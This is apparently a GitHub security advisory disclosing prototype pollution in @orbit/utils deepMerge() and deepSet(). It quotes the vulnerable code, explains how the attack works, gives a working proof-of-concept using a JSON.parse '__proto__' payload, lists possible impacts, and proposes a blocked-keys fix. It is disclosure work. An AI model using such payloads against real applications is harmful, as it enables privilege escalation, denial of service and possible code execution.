Skip to content

Prototype Pollution in @orbit/utils via deepMerge() and deepSet() #1001

@gnsehfvlr

Description

@gnsehfvlr

Prototype Pollution in @orbit/utils

Summary

@orbit/utils (<= 0.17.0) is vulnerable to Prototype Pollution via deepMerge() and deepSet().


Vulnerable Source Code

1. deepMerge — [packages/@orbit/utils/src/objects.ts]

export function deepMerge(object: any, ...sources: any[]): any {
  sources.forEach((source) => {
    Object.keys(source).forEach((field) => {
      if (source.hasOwnProperty(field)) {
        let a = object[field];   // ← object["__proto__"] resolves to Object.prototype
        let b = source[field];
        if (
          isObject(a) && isObject(b) &&
          !Array.isArray(a) && !Array.isArray(b)
        ) {
          deepMerge(a, b);       // ← recursively merges INTO Object.prototype
        } else if (b !== undefined) {
          object[field] = clone(b);
        }
      }
    });
  });
  return object;
}

No sanitization of __proto__, constructor, or prototype keys anywhere.

2. deepSet — same file

export function deepSet(obj: any, path: string[], value: any): boolean {
  let ptr = obj;
  let prop = path.pop() as string;
  for (let i = 0, l = path.length; i < l; i++) {
    let segment = path[i];
    if (ptr[segment] === undefined) {
      ptr[segment] = typeof segment === 'number' ? [] : {};
    }
    ptr = ptr[segment];   // ← ptr["__proto__"] → Object.prototype
  }
  ptr[prop] = value;       // ← writes directly to Object.prototype
  return true;
}

Same issue — zero path segment validation.


Why This Is a Vulnerability

Step-by-step: How deepMerge pollutes Object.prototype

1. Attacker input:  JSON.parse('{"__proto__":{"polluted":"yes"}}')
   → Creates object where "__proto__" is a real OWN ENUMERABLE property
   → Object.keys() DOES return ["__proto__"]

2. Object.keys(source) iterates over "__proto__"
   → source.hasOwnProperty("__proto__") → true ✓

3. object["__proto__"] on a plain {} resolves via accessor to Object.prototype
   → a = Object.prototype

4. isObject(Object.prototype) → true
   isObject({"polluted":"yes"}) → true
   → Enters recursive branch

5. deepMerge(Object.prototype, {"polluted":"yes"})
   → Object.keys({"polluted":"yes"}) → ["polluted"]
   → Object.prototype["polluted"] = "yes"  ← POLLUTION COMPLETE

6. Every object in the runtime now has .polluted === "yes"

Why JSON.parse matters

A JavaScript literal {__proto__: {polluted: "yes"}} sets the prototype via the accessor — Object.keys() will NOT list __proto__. But JSON.parse('{"__proto__":{"polluted":"yes"}}') creates __proto__ as a regular own enumerable property, so Object.keys() returns it. This is the standard real-world attack vector, since virtually all web frameworks use JSON.parse on HTTP request bodies.

Why deepSet is also vulnerable

1. deepSet({}, ["__proto__", "injected"], "value")
2. path.pop() → prop = "injected", path = ["__proto__"]
3. Loop: ptr["__proto__"] is NOT undefined (it's Object.prototype via accessor)
   → ptr = Object.prototype
4. ptr["injected"] = "value"  ← writes to Object.prototype

Proof of Concept

const { deepMerge, deepSet } = require('@orbit/utils');

// === Test 1: deepMerge ===
console.log('Before:', ({}).polluted); // undefined

const payload = JSON.parse('{"__proto__":{"polluted":"yes"}}');
deepMerge({}, payload);

const obj = {};
console.log('After deepMerge:', obj.polluted); // "yes" ← POLLUTED
console.log('Vulnerable (deepMerge):', obj.polluted === 'yes'); // true

// Clean up
delete Object.prototype.polluted;

// === Test 2: deepSet ===
console.log('Before:', ({}).injected); // undefined

deepSet({}, ['__proto__', 'injected'], 'via_deepSet');

console.log('After deepSet:', ({}).injected); // "via_deepSet" ← POLLUTED
console.log('Vulnerable (deepSet):', ({}).injected === 'via_deepSet'); // true

// Clean up
delete Object.prototype.injected;

Impact

Successful prototype pollution enables downstream attacks depending on how the application processes objects:

Attack How
Remote Code Execution Pollute shell, env, or template engine options → child_process.exec injection
Authentication Bypass Inject isAdmin: true, role: "admin" into user/session objects
Denial of Service Override toString, valueOf, hasOwnProperty → crash all object operations
SQL Injection Pollute query builder parameters ($where, $gt)
SSRF Inject hostname, port, protocol into HTTP client config objects
XSS Inject HTML/JS via polluted template variables
Path Traversal Pollute path, basedir in file system operations
CORS Bypass Inject Access-Control-Allow-Origin via polluted header configs

Remediation

Add key validation to block dangerous keys:

const BLOCKED_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

export function deepMerge(object: any, ...sources: any[]): any {
  sources.forEach((source) => {
    Object.keys(source).forEach((field) => {
      if (BLOCKED_KEYS.has(field)) return;  // ← ADD THIS
      // ... rest of logic
    });
  });
  return object;
}

export function deepSet(obj: any, path: string[], value: any): boolean {
  // ... 
  for (let i = 0, l = path.length; i < l; i++) {
    let segment = path[i];
    if (BLOCKED_KEYS.has(segment)) return false;  // ← ADD THIS
    // ...
  }
  // also check final prop
  if (BLOCKED_KEYS.has(prop)) return false;  // ← ADD THIS
  ptr[prop] = value;
  return true;
}

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions